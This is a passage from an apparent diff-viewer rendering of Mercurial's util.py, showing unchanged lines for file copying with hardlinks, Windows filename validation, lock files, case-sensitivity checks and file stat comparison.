1826
1827
1827
1828 # the location of data files matching the source code
1828 # the location of data files matching the source code
1829 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
1829 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
1830 # executable version (py2exe) doesn't support __file__
1830 # executable version (py2exe) doesn't support __file__
1831 datapath = os.path.dirname(pycompat.sysexecutable)
1831 datapath = os.path.dirname(pycompat.sysexecutable)
1832 else:
1832 else:
1833 datapath = os.path.dirname(pycompat.fsencode(__file__))
1833 datapath = os.path.dirname(pycompat.fsencode(__file__))
1834
1834
1835 i18n.setdatapath(datapath)
1835 i18n.setdatapath(datapath)
1836
1836
1837
1837
1838 def checksignature(func):
1838 def checksignature(func):
1839 '''wrap a function with code to check for calling errors'''
1839 '''wrap a function with code to check for calling errors'''
1840
1840
1841 def check(*args, **kwargs):
1841 def check(*args, **kwargs):
1842 try:
1842 try:
1843 return func(*args, **kwargs)
1843 return func(*args, **kwargs)
1844 except TypeError:
1844 except TypeError:
1845 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1845 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1846 raise error.SignatureError
1846 raise error.SignatureError
1847 raise
1847 raise
1848
1848
1849 return check
1849 return check
1850
1850
1851
1851
1852 # a whilelist of known filesystems where hardlink works reliably
1852 # a whilelist of known filesystems where hardlink works reliably
1853 _hardlinkfswhitelist = {
1853 _hardlinkfswhitelist = {
1854 b'apfs',
1854 b'apfs',
1855 b'btrfs',
1855 b'btrfs',
1856 b'ext2',
1856 b'ext2',
1857 b'ext3',
1857 b'ext3',
1858 b'ext4',
1858 b'ext4',
1859 b'hfs',
1859 b'hfs',
1860 b'jfs',
1860 b'jfs',
1861 b'NTFS',
1861 b'NTFS',
1862 b'reiserfs',
1862 b'reiserfs',
1863 b'tmpfs',
1863 b'tmpfs',
1864 b'ufs',
1864 b'ufs',
1865 b'xfs',
1865 b'xfs',
1866 b'zfs',
1866 b'zfs',
1867 }
1867 }
1868
1868
1869
1869
1870 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1870 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1871 '''copy a file, preserving mode and optionally other stat info like
1871 '''copy a file, preserving mode and optionally other stat info like
1872 atime/mtime
1872 atime/mtime
1873
1873
1874 checkambig argument is used with filestat, and is useful only if
1874 checkambig argument is used with filestat, and is useful only if
1875 destination file is guarded by any lock (e.g. repo.lock or
1875 destination file is guarded by any lock (e.g. repo.lock or
1876 repo.wlock).
1876 repo.wlock).
1877
1877
1878 copystat and checkambig should be exclusive.
1878 copystat and checkambig should be exclusive.
1879 '''
1879 '''
1880 assert not (copystat and checkambig)
1880 assert not (copystat and checkambig)
1881 oldstat = None
1881 oldstat = None
1882 if os.path.lexists(dest):
1882 if os.path.lexists(dest):
1883 if checkambig:
1883 if checkambig:
1884 oldstat = checkambig and filestat.frompath(dest)
1884 oldstat = checkambig and filestat.frompath(dest)
1885 unlink(dest)
1885 unlink(dest)
1886 if hardlink:
1886 if hardlink:
1887 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1887 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1888 # unless we are confident that dest is on a whitelisted filesystem.
1888 # unless we are confident that dest is on a whitelisted filesystem.
1889 try:
1889 try:
1890 fstype = getfstype(os.path.dirname(dest))
1890 fstype = getfstype(os.path.dirname(dest))
1891 except OSError:
1891 except OSError:
1892 fstype = None
1892 fstype = None
1893 if fstype not in _hardlinkfswhitelist:
1893 if fstype not in _hardlinkfswhitelist:
1894 hardlink = False
1894 hardlink = False
1895 if hardlink:
1895 if hardlink:
1896 try:
1896 try:
1897 oslink(src, dest)
1897 oslink(src, dest)
1898 return
1898 return
1899 except (IOError, OSError):
1899 except (IOError, OSError):
1900 pass # fall back to normal copy
1900 pass # fall back to normal copy
1901 if os.path.islink(src):
1901 if os.path.islink(src):
1902 os.symlink(os.readlink(src), dest)
1902 os.symlink(os.readlink(src), dest)
1903 # copytime is ignored for symlinks, but in general copytime isn't needed
1903 # copytime is ignored for symlinks, but in general copytime isn't needed
1904 # for them anyway
1904 # for them anyway
1905 else:
1905 else:
1906 try:
1906 try:
1907 shutil.copyfile(src, dest)
1907 shutil.copyfile(src, dest)
1908 if copystat:
1908 if copystat:
1909 # copystat also copies mode
1909 # copystat also copies mode
1910 shutil.copystat(src, dest)
1910 shutil.copystat(src, dest)
1911 else:
1911 else:
1912 shutil.copymode(src, dest)
1912 shutil.copymode(src, dest)
1913 if oldstat and oldstat.stat:
1913 if oldstat and oldstat.stat:
1914 newstat = filestat.frompath(dest)
1914 newstat = filestat.frompath(dest)
1915 if newstat.isambig(oldstat):
1915 if newstat.isambig(oldstat):
1916 # stat of copied file is ambiguous to original one
1916 # stat of copied file is ambiguous to original one
1917 advanced = (
1917 advanced = (
1918 oldstat.stat[stat.ST_MTIME] + 1
1918 oldstat.stat[stat.ST_MTIME] + 1
1919 ) & 0x7FFFFFFF
1919 ) & 0x7FFFFFFF
1920 os.utime(dest, (advanced, advanced))
1920 os.utime(dest, (advanced, advanced))
1921 except shutil.Error as inst:
1921 except shutil.Error as inst:
1922 raise error.Abort(str(inst))
1922 raise error.Abort(str(inst))
1923
1923
1924
1924
1925 def copyfiles(src, dst, hardlink=None, progress=None):
1925 def copyfiles(src, dst, hardlink=None, progress=None):
1926 """Copy a directory tree using hardlinks if possible."""
1926 """Copy a directory tree using hardlinks if possible."""
1927 num = 0
1927 num = 0
1928
1928
1929 def settopic():
1929 def settopic():
1930 if progress:
1930 if progress:
1931 progress.topic = _(b'linking') if hardlink else _(b'copying')
1931 progress.topic = _(b'linking') if hardlink else _(b'copying')
1932
1932
1933 if os.path.isdir(src):
1933 if os.path.isdir(src):
1934 if hardlink is None:
1934 if hardlink is None:
1935 hardlink = (
1935 hardlink = (
1936 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1936 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1937 )
1937 )
1938 settopic()
1938 settopic()
1939 os.mkdir(dst)
1939 os.mkdir(dst)
1940 for name, kind in listdir(src):
1940 for name, kind in listdir(src):
1941 srcname = os.path.join(src, name)
1941 srcname = os.path.join(src, name)
1942 dstname = os.path.join(dst, name)
1942 dstname = os.path.join(dst, name)
1943 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1943 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1944 num += n
1944 num += n
1945 else:
1945 else:
1946 if hardlink is None:
1946 if hardlink is None:
1947 hardlink = (
1947 hardlink = (
1948 os.stat(os.path.dirname(src)).st_dev
1948 os.stat(os.path.dirname(src)).st_dev
1949 == os.stat(os.path.dirname(dst)).st_dev
1949 == os.stat(os.path.dirname(dst)).st_dev
1950 )
1950 )
1951 settopic()
1951 settopic()
1952
1952
1953 if hardlink:
1953 if hardlink:
1954 try:
1954 try:
1955 oslink(src, dst)
1955 oslink(src, dst)
1956 except (IOError, OSError):
1956 except (IOError, OSError):
1957 hardlink = False
1957 hardlink = False
1958 shutil.copy(src, dst)
1958 shutil.copy(src, dst)
1959 else:
1959 else:
1960 shutil.copy(src, dst)
1960 shutil.copy(src, dst)
1961 num += 1
1961 num += 1
1962 if progress:
1962 if progress:
1963 progress.increment()
1963 progress.increment()
1964
1964
1965 return hardlink, num
1965 return hardlink, num
1966
1966
1967
1967
1968 _winreservednames = {
1968 _winreservednames = {
1969 b'con',
1969 b'con',
1970 b'prn',
1970 b'prn',
1971 b'aux',
1971 b'aux',
1972 b'nul',
1972 b'nul',
1973 b'com1',
1973 b'com1',
1974 b'com2',
1974 b'com2',
1975 b'com3',
1975 b'com3',
1976 b'com4',
1976 b'com4',
1977 b'com5',
1977 b'com5',
1978 b'com6',
1978 b'com6',
1979 b'com7',
1979 b'com7',
1980 b'com8',
1980 b'com8',
1981 b'com9',
1981 b'com9',
1982 b'lpt1',
1982 b'lpt1',
1983 b'lpt2',
1983 b'lpt2',
1984 b'lpt3',
1984 b'lpt3',
1985 b'lpt4',
1985 b'lpt4',
1986 b'lpt5',
1986 b'lpt5',
1987 b'lpt6',
1987 b'lpt6',
1988 b'lpt7',
1988 b'lpt7',
1989 b'lpt8',
1989 b'lpt8',
1990 b'lpt9',
1990 b'lpt9',
1991 }
1991 }
1992 _winreservedchars = b':*?"<>|'
1992 _winreservedchars = b':*?"<>|'
1993
1993
1994
1994
1995 def checkwinfilename(path):
1995 def checkwinfilename(path):
1996 r'''Check that the base-relative path is a valid filename on Windows.
1996 r'''Check that the base-relative path is a valid filename on Windows.
1997 Returns None if the path is ok, or a UI string describing the problem.
1997 Returns None if the path is ok, or a UI string describing the problem.
1998
1998
1999 >>> checkwinfilename(b"just/a/normal/path")
1999 >>> checkwinfilename(b"just/a/normal/path")
2000 >>> checkwinfilename(b"foo/bar/con.xml")
2000 >>> checkwinfilename(b"foo/bar/con.xml")
2001 "filename contains 'con', which is reserved on Windows"
2001 "filename contains 'con', which is reserved on Windows"
2002 >>> checkwinfilename(b"foo/con.xml/bar")
2002 >>> checkwinfilename(b"foo/con.xml/bar")
2003 "filename contains 'con', which is reserved on Windows"
2003 "filename contains 'con', which is reserved on Windows"
2004 >>> checkwinfilename(b"foo/bar/xml.con")
2004 >>> checkwinfilename(b"foo/bar/xml.con")
2005 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2005 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2006 "filename contains 'AUX', which is reserved on Windows"
2006 "filename contains 'AUX', which is reserved on Windows"
2007 >>> checkwinfilename(b"foo/bar/bla:.txt")
2007 >>> checkwinfilename(b"foo/bar/bla:.txt")
2008 "filename contains ':', which is reserved on Windows"
2008 "filename contains ':', which is reserved on Windows"
2009 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2009 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2010 "filename contains '\\x07', which is invalid on Windows"
2010 "filename contains '\\x07', which is invalid on Windows"
2011 >>> checkwinfilename(b"foo/bar/bla ")
2011 >>> checkwinfilename(b"foo/bar/bla ")
2012 "filename ends with ' ', which is not allowed on Windows"
2012 "filename ends with ' ', which is not allowed on Windows"
2013 >>> checkwinfilename(b"../bar")
2013 >>> checkwinfilename(b"../bar")
2014 >>> checkwinfilename(b"foo\\")
2014 >>> checkwinfilename(b"foo\\")
2015 "filename ends with '\\', which is invalid on Windows"
2015 "filename ends with '\\', which is invalid on Windows"
2016 >>> checkwinfilename(b"foo\\/bar")
2016 >>> checkwinfilename(b"foo\\/bar")
2017 "directory name ends with '\\', which is invalid on Windows"
2017 "directory name ends with '\\', which is invalid on Windows"
2018 '''
2018 '''
2019 if path.endswith(b'\\'):
2019 if path.endswith(b'\\'):
2020 return _(b"filename ends with '\\', which is invalid on Windows")
2020 return _(b"filename ends with '\\', which is invalid on Windows")
2021 if b'\\/' in path:
2021 if b'\\/' in path:
2022 return _(b"directory name ends with '\\', which is invalid on Windows")
2022 return _(b"directory name ends with '\\', which is invalid on Windows")
2023 for n in path.replace(b'\\', b'/').split(b'/'):
2023 for n in path.replace(b'\\', b'/').split(b'/'):
2024 if not n:
2024 if not n:
2025 continue
2025 continue
2026 for c in _filenamebytestr(n):
2026 for c in _filenamebytestr(n):
2027 if c in _winreservedchars:
2027 if c in _winreservedchars:
2028 return (
2028 return (
2029 _(
2029 _(
2030 b"filename contains '%s', which is reserved "
2030 b"filename contains '%s', which is reserved "
2031 b"on Windows"
2031 b"on Windows"
2032 )
2032 )
2033 % c
2033 % c
2034 )
2034 )
2035 if ord(c) <= 31:
2035 if ord(c) <= 31:
2036 return _(
2036 return _(
2037 b"filename contains '%s', which is invalid on Windows"
2037 b"filename contains '%s', which is invalid on Windows"
2038 ) % stringutil.escapestr(c)
2038 ) % stringutil.escapestr(c)
2039 base = n.split(b'.')[0]
2039 base = n.split(b'.')[0]
2040 if base and base.lower() in _winreservednames:
2040 if base and base.lower() in _winreservednames:
2041 return (
2041 return (
2042 _(b"filename contains '%s', which is reserved on Windows")
2042 _(b"filename contains '%s', which is reserved on Windows")
2043 % base
2043 % base
2044 )
2044 )
2045 t = n[-1:]
2045 t = n[-1:]
2046 if t in b'. ' and n not in b'..':
2046 if t in b'. ' and n not in b'..':
2047 return (
2047 return (
2048 _(
2048 _(
2049 b"filename ends with '%s', which is not allowed "
2049 b"filename ends with '%s', which is not allowed "
2050 b"on Windows"
2050 b"on Windows"
2051 )
2051 )
2052 % t
2052 % t
2053 )
2053 )
2054
2054
2055
2055
2056 if pycompat.iswindows:
2056 if pycompat.iswindows:
2057 checkosfilename = checkwinfilename
2057 checkosfilename = checkwinfilename
2058 timer = time.clock
2058 timer = time.clock
2059 else:
2059 else:
2060 checkosfilename = platform.checkosfilename
2060 checkosfilename = platform.checkosfilename
2061 timer = time.time
2061 timer = time.time
2062
2062
2063 if safehasattr(time, "perf_counter"):
2063 if safehasattr(time, "perf_counter"):
2064 timer = time.perf_counter
2064 timer = time.perf_counter
2065
2065
2066
2066
2067 def makelock(info, pathname):
2067 def makelock(info, pathname):
2068 """Create a lock file atomically if possible
2068 """Create a lock file atomically if possible
2069
2069
2070 This may leave a stale lock file if symlink isn't supported and signal
2070 This may leave a stale lock file if symlink isn't supported and signal
2071 interrupt is enabled.
2071 interrupt is enabled.
2072 """
2072 """
2073 try:
2073 try:
2074 return os.symlink(info, pathname)
2074 return os.symlink(info, pathname)
2075 except OSError as why:
2075 except OSError as why:
2076 if why.errno == errno.EEXIST:
2076 if why.errno == errno.EEXIST:
2077 raise
2077 raise
2078 except AttributeError: # no symlink in os
2078 except AttributeError: # no symlink in os
2079 pass
2079 pass
2080
2080
2081 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2081 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2082 ld = os.open(pathname, flags)
2082 ld = os.open(pathname, flags)
2083 os.write(ld, info)
2083 os.write(ld, info)
2084 os.close(ld)
2084 os.close(ld)
2085
2085
2086
2086
2087 def readlock(pathname):
2087 def readlock(pathname):
2088 try:
2088 try:
2089 return readlink(pathname)
2089 return readlink(pathname)
2090 except OSError as why:
2090 except OSError as why:
2091 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2091 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2092 raise
2092 raise
2093 except AttributeError: # no symlink in os
2093 except AttributeError: # no symlink in os
2094 pass
2094 pass
2095 with posixfile(pathname, b'rb') as fp:
2095 with posixfile(pathname, b'rb') as fp:
2096 return fp.read()
2096 return fp.read()
2097
2097
2098
2098
2099 def fstat(fp):
2099 def fstat(fp):
2100 '''stat file object that may not have fileno method.'''
2100 '''stat file object that may not have fileno method.'''
2101 try:
2101 try:
2102 return os.fstat(fp.fileno())
2102 return os.fstat(fp.fileno())
2103 except AttributeError:
2103 except AttributeError:
2104 return os.stat(fp.name)
2104 return os.stat(fp.name)
2105
2105
2106
2106
2107 # File system features
2107 # File system features
2108
2108
2109
2109
2110 def fscasesensitive(path):
2110 def fscasesensitive(path):
2111 """
2111 """
2112 Return true if the given path is on a case-sensitive filesystem
2112 Return true if the given path is on a case-sensitive filesystem
2113
2113
2114 Requires a path (like /foo/.hg) ending with a foldable final
2114 Requires a path (like /foo/.hg) ending with a foldable final
2115 directory component.
2115 directory component.
2116 """
2116 """
2117 s1 = os.lstat(path)
2117 s1 = os.lstat(path)
2118 d, b = os.path.split(path)
2118 d, b = os.path.split(path)
2119 b2 = b.upper()
2119 b2 = b.upper()
2120 if b == b2:
2120 if b == b2:
2121 b2 = b.lower()
2121 b2 = b.lower()
2122 if b == b2:
2122 if b == b2:
2123 return True # no evidence against case sensitivity
2123 return True # no evidence against case sensitivity
2124 p2 = os.path.join(d, b2)
2124 p2 = os.path.join(d, b2)
2125 try:
2125 try:
2126 s2 = os.lstat(p2)
2126 s2 = os.lstat(p2)
2127 if s2 == s1:
2127 if s2 == s1:
2128 return False
2128 return False
2129 return True
2129 return True
2130 except OSError:
2130 except OSError:
2131 return True
2131 return True
2132
2132
2133
2133
2134 try:
2134 try:
2135 import re2
2135 import re2
2136
2136
2137 _re2 = None
2137 _re2 = None
2138 except ImportError:
2138 except ImportError:
2139 _re2 = False
2139 _re2 = False
2140
2140
2141
2141
2142 class _re(object):
2142 class _re(object):
2143 def _checkre2(self):
2143 def _checkre2(self):
2144 global _re2
2144 global _re2
2145 try:
2145 try:
2146 # check if match works, see issue3964
2146 # check if match works, see issue3964
2147 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2147 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2148 except ImportError:
2148 except ImportError:
2149 _re2 = False
2149 _re2 = False
2150
2150
2151 def compile(self, pat, flags=0):
2151 def compile(self, pat, flags=0):
2152 '''Compile a regular expression, using re2 if possible
2152 '''Compile a regular expression, using re2 if possible
2153
2153
2154 For best performance, use only re2-compatible regexp features. The
2154 For best performance, use only re2-compatible regexp features. The
2155 only flags from the re module that are re2-compatible are
2155 only flags from the re module that are re2-compatible are
2156 IGNORECASE and MULTILINE.'''
2156 IGNORECASE and MULTILINE.'''
2157 if _re2 is None:
2157 if _re2 is None:
2158 self._checkre2()
2158 self._checkre2()
2159 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2159 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2160 if flags & remod.IGNORECASE:
2160 if flags & remod.IGNORECASE:
2161 pat = b'(?i)' + pat
2161 pat = b'(?i)' + pat
2162 if flags & remod.MULTILINE:
2162 if flags & remod.MULTILINE:
2163 pat = b'(?m)' + pat
2163 pat = b'(?m)' + pat
2164 try:
2164 try:
2165 return re2.compile(pat)
2165 return re2.compile(pat)
2166 except re2.error:
2166 except re2.error:
2167 pass
2167 pass
2168 return remod.compile(pat, flags)
2168 return remod.compile(pat, flags)
2169
2169
2170 @propertycache
2170 @propertycache
2171 def escape(self):
2171 def escape(self):
2172 '''Return the version of escape corresponding to self.compile.
2172 '''Return the version of escape corresponding to self.compile.
2173
2173
2174 This is imperfect because whether re2 or re is used for a particular
2174 This is imperfect because whether re2 or re is used for a particular
2175 function depends on the flags, etc, but it's the best we can do.
2175 function depends on the flags, etc, but it's the best we can do.
2176 '''
2176 '''
2177 global _re2
2177 global _re2
2178 if _re2 is None:
2178 if _re2 is None:
2179 self._checkre2()
2179 self._checkre2()
2180 if _re2:
2180 if _re2:
2181 return re2.escape
2181 return re2.escape
2182 else:
2182 else:
2183 return remod.escape
2183 return remod.escape
2184
2184
2185
2185
2186 re = _re()
2186 re = _re()
2187
2187
2188 _fspathcache = {}
2188 _fspathcache = {}
2189
2189
2190
2190
2191 def fspath(name, root):
2191 def fspath(name, root):
2192 '''Get name in the case stored in the filesystem
2192 '''Get name in the case stored in the filesystem
2193
2193
2194 The name should be relative to root, and be normcase-ed for efficiency.
2194 The name should be relative to root, and be normcase-ed for efficiency.
2195
2195
2196 Note that this function is unnecessary, and should not be
2196 Note that this function is unnecessary, and should not be
2197 called, for case-sensitive filesystems (simply because it's expensive).
2197 called, for case-sensitive filesystems (simply because it's expensive).
2198
2198
2199 The root should be normcase-ed, too.
2199 The root should be normcase-ed, too.
2200 '''
2200 '''
2201
2201
2202 def _makefspathcacheentry(dir):
2202 def _makefspathcacheentry(dir):
2203 return dict((normcase(n), n) for n in os.listdir(dir))
2203 return dict((normcase(n), n) for n in os.listdir(dir))
2204
2204
2205 seps = pycompat.ossep
2205 seps = pycompat.ossep
2206 if pycompat.osaltsep:
2206 if pycompat.osaltsep:
2207 seps = seps + pycompat.osaltsep
2207 seps = seps + pycompat.osaltsep
2208 # Protect backslashes. This gets silly very quickly.
2208 # Protect backslashes. This gets silly very quickly.
2209 seps.replace(b'\\', b'\\\\')
2209 seps.replace(b'\\', b'\\\\')
2210 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2210 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2211 dir = os.path.normpath(root)
2211 dir = os.path.normpath(root)
2212 result = []
2212 result = []
2213 for part, sep in pattern.findall(name):
2213 for part, sep in pattern.findall(name):
2214 if sep:
2214 if sep:
2215 result.append(sep)
2215 result.append(sep)
2216 continue
2216 continue
2217
2217
2218 if dir not in _fspathcache:
2218 if dir not in _fspathcache:
2219 _fspathcache[dir] = _makefspathcacheentry(dir)
2219 _fspathcache[dir] = _makefspathcacheentry(dir)
2220 contents = _fspathcache[dir]
2220 contents = _fspathcache[dir]
2221
2221
2222 found = contents.get(part)
2222 found = contents.get(part)
2223 if not found:
2223 if not found:
2224 # retry "once per directory" per "dirstate.walk" which
2224 # retry "once per directory" per "dirstate.walk" which
2225 # may take place for each patches of "hg qpush", for example
2225 # may take place for each patches of "hg qpush", for example
2226 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2226 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2227 found = contents.get(part)
2227 found = contents.get(part)
2228
2228
2229 result.append(found or part)
2229 result.append(found or part)
2230 dir = os.path.join(dir, part)
2230 dir = os.path.join(dir, part)
2231
2231
2232 return b''.join(result)
2232 return b''.join(result)
2233
2233
2234
2234
2235 def checknlink(testfile):
2235 def checknlink(testfile):
2236 '''check whether hardlink count reporting works properly'''
2236 '''check whether hardlink count reporting works properly'''
2237
2237
2238 # testfile may be open, so we need a separate file for checking to
2238 # testfile may be open, so we need a separate file for checking to
2239 # work around issue2543 (or testfile may get lost on Samba shares)
2239 # work around issue2543 (or testfile may get lost on Samba shares)
2240 f1, f2, fp = None, None, None
2240 f1, f2, fp = None, None, None
2241 try:
2241 try:
2242 fd, f1 = pycompat.mkstemp(
2242 fd, f1 = pycompat.mkstemp(
2243 prefix=b'.%s-' % os.path.basename(testfile),
2243 prefix=b'.%s-' % os.path.basename(testfile),
2244 suffix=b'1~',
2244 suffix=b'1~',
2245 dir=os.path.dirname(testfile),
2245 dir=os.path.dirname(testfile),
2246 )
2246 )
2247 os.close(fd)
2247 os.close(fd)
2248 f2 = b'%s2~' % f1[:-2]
2248 f2 = b'%s2~' % f1[:-2]
2249
2249
2250 oslink(f1, f2)
2250 oslink(f1, f2)
2251 # nlinks() may behave differently for files on Windows shares if
2251 # nlinks() may behave differently for files on Windows shares if
2252 # the file is open.
2252 # the file is open.
2253 fp = posixfile(f2)
2253 fp = posixfile(f2)
2254 return nlinks(f2) > 1
2254 return nlinks(f2) > 1
2255 except OSError:
2255 except OSError:
2256 return False
2256 return False
2257 finally:
2257 finally:
2258 if fp is not None:
2258 if fp is not None:
2259 fp.close()
2259 fp.close()
2260 for f in (f1, f2):
2260 for f in (f1, f2):
2261 try:
2261 try:
2262 if f is not None:
2262 if f is not None:
2263 os.unlink(f)
2263 os.unlink(f)
2264 except OSError:
2264 except OSError:
2265 pass
2265 pass
2266
2266
2267
2267
2268 def endswithsep(path):
2268 def endswithsep(path):
2269 '''Check path ends with os.sep or os.altsep.'''
2269 '''Check path ends with os.sep or os.altsep.'''
2270 return (
2270 return (
2271 path.endswith(pycompat.ossep)
2271 path.endswith(pycompat.ossep)
2272 or pycompat.osaltsep
2272 or pycompat.osaltsep
2273 and path.endswith(pycompat.osaltsep)
2273 and path.endswith(pycompat.osaltsep)
2274 )
2274 )
2275
2275
2276
2276
2277 def splitpath(path):
2277 def splitpath(path):
2278 '''Split path by os.sep.
2278 '''Split path by os.sep.
2279 Note that this function does not use os.altsep because this is
2279 Note that this function does not use os.altsep because this is
2280 an alternative of simple "xxx.split(os.sep)".
2280 an alternative of simple "xxx.split(os.sep)".
2281 It is recommended to use os.path.normpath() before using this
2281 It is recommended to use os.path.normpath() before using this
2282 function if need.'''
2282 function if need.'''
2283 return path.split(pycompat.ossep)
2283 return path.split(pycompat.ossep)
2284
2284
2285
2285
2286 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2286 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2287 """Create a temporary file with the same contents from name
2287 """Create a temporary file with the same contents from name
2288
2288
2289 The permission bits are copied from the original file.
2289 The permission bits are copied from the original file.
2290
2290
2291 If the temporary file is going to be truncated immediately, you
2291 If the temporary file is going to be truncated immediately, you
2292 can use emptyok=True as an optimization.
2292 can use emptyok=True as an optimization.
2293
2293
2294 Returns the name of the temporary file.
2294 Returns the name of the temporary file.
2295 """
2295 """
2296 d, fn = os.path.split(name)
2296 d, fn = os.path.split(name)
2297 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2297 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2298 os.close(fd)
2298 os.close(fd)
2299 # Temporary files are created with mode 0600, which is usually not
2299 # Temporary files are created with mode 0600, which is usually not
2300 # what we want. If the original file already exists, just copy
2300 # what we want. If the original file already exists, just copy
2301 # its mode. Otherwise, manually obey umask.
2301 # its mode. Otherwise, manually obey umask.
2302 copymode(name, temp, createmode, enforcewritable)
2302 copymode(name, temp, createmode, enforcewritable)
2303
2303
2304 if emptyok:
2304 if emptyok:
2305 return temp
2305 return temp
2306 try:
2306 try:
2307 try:
2307 try:
2308 ifp = posixfile(name, b"rb")
2308 ifp = posixfile(name, b"rb")
2309 except IOError as inst:
2309 except IOError as inst:
2310 if inst.errno == errno.ENOENT:
2310 if inst.errno == errno.ENOENT:
2311 return temp
2311 return temp
2312 if not getattr(inst, 'filename', None):
2312 if not getattr(inst, 'filename', None):
2313 inst.filename = name
2313 inst.filename = name
2314 raise
2314 raise
2315 ofp = posixfile(temp, b"wb")
2315 ofp = posixfile(temp, b"wb")
2316 for chunk in filechunkiter(ifp):
2316 for chunk in filechunkiter(ifp):
2317 ofp.write(chunk)
2317 ofp.write(chunk)
2318 ifp.close()
2318 ifp.close()
2319 ofp.close()
2319 ofp.close()
2320 except: # re-raises
2320 except: # re-raises
2321 try:
2321 try:
2322 os.unlink(temp)
2322 os.unlink(temp)
2323 except OSError:
2323 except OSError:
2324 pass
2324 pass
2325 raise
2325 raise
2326 return temp
2326 return temp
2327
2327
2328
2328
2329 class filestat(object):
2329 class filestat(object):
2330 """help to exactly detect change of a file
2330 """help to exactly detect change of a file
2331
2331
2332 'stat' attribute is result of 'os.stat()' if specified 'path'
2332 'stat' attribute is result of 'os.stat()' if specified 'path'
2333 exists. Otherwise, it is None. This can avoid preparative
2333 exists. Otherwise, it is None. This can avoid preparative
2334 'exists()' examination on client side of this class.
2334 'exists()' examination on client side of this class.
2335 """
2335 """
2336
2336
2337 def __init__(self, stat):
2337 def __init__(self, stat):
2338 self.stat = stat
2338 self.stat = stat
2339
2339
2340 @classmethod
2340 @classmethod
2341 def frompath(cls, path):
2341 def frompath(cls, path):
2342 try:
2342 try:
2343 stat = os.stat(path)
2343 stat = os.stat(path)
2344 except OSError as err:
2344 except OSError as err:
2345 if err.errno != errno.ENOENT:
2345 if err.errno != errno.ENOENT:
2346 raise
2346 raise
2347 stat = None
2347 stat = None
2348 return cls(stat)
2348 return cls(stat)
2349
2349
2350 @classmethod
2350 @classmethod
2351 def fromfp(cls, fp):
2351 def fromfp(cls, fp):
2352 stat = os.fstat(fp.fileno())
2352 stat = os.fstat(fp.fileno())
2353 return cls(stat)
2353 return cls(stat)
2354
2354
2355 __hash__ = object.__hash__
2355 __hash__ = object.__hash__
2356
2356
2357 def __eq__(self, old):
2357 def __eq__(self, old):
2358 try:
2358 try:
2359 # if ambiguity between stat of new and old file is
2359 # if ambiguity between stat of new and old file is
2360 # avoided, comparison of size, ctime and mtime is enough
2360 # avoided, comparison of size, ctime and mtime is enough
2361 # to exactly detect change of a file regardless of platform
2361 # to exactly detect change of a file regardless of platform
2362 return (
2362 return (
2363 self.stat.st_size == old.stat.st_size
2363 self.stat.st_size == old.stat.st_size
2364 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2364 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2365 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2365 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2366 )
2366 )
2367 except AttributeError:
2367 except AttributeError:
2368 pass
2368 pass
2369 try:
2369 try:
2370 return self.stat is None and old.stat is None
2370 return self.stat is None and old.stat is None
2371 except AttributeError:
2371 except AttributeError:
2372 return False
2372 return False
2373
2373
2374 def isambig(self, old):
2374 def isambig(self, old):
2375 """Examine whether new (= self) stat is ambiguous against old one
2375 """Examine whether new (= self) stat is ambiguous against old one
2376
2376
2377 "S[N]" below means stat of a file at N-th change:
2377 "S[N]" below means stat of a file at N-th change:
2378
2378
2379 - S[n-1].ctime < S[n].ctime: can detect change of a file
2379 - S[n-1].ctime < S[n].ctime: can detect change of a file
2380 - S[n-1].ctime == S[n].ctime
2380 - S[n-1].ctime == S[n].ctime
2381 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2381 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2382 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2382 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2383 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2383 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2384 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2384 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2385
2385
2386 Case (*2) above means that a file was changed twice or more at
2386 Case (*2) above means that a file was changed twice or more at
2387 same time in sec (= S[n-1].ctime), and comparison of timestamp
2387 same time in sec (= S[n-1].ctime), and comparison of timestamp
2388 is ambiguous.
2388 is ambiguous.
2389
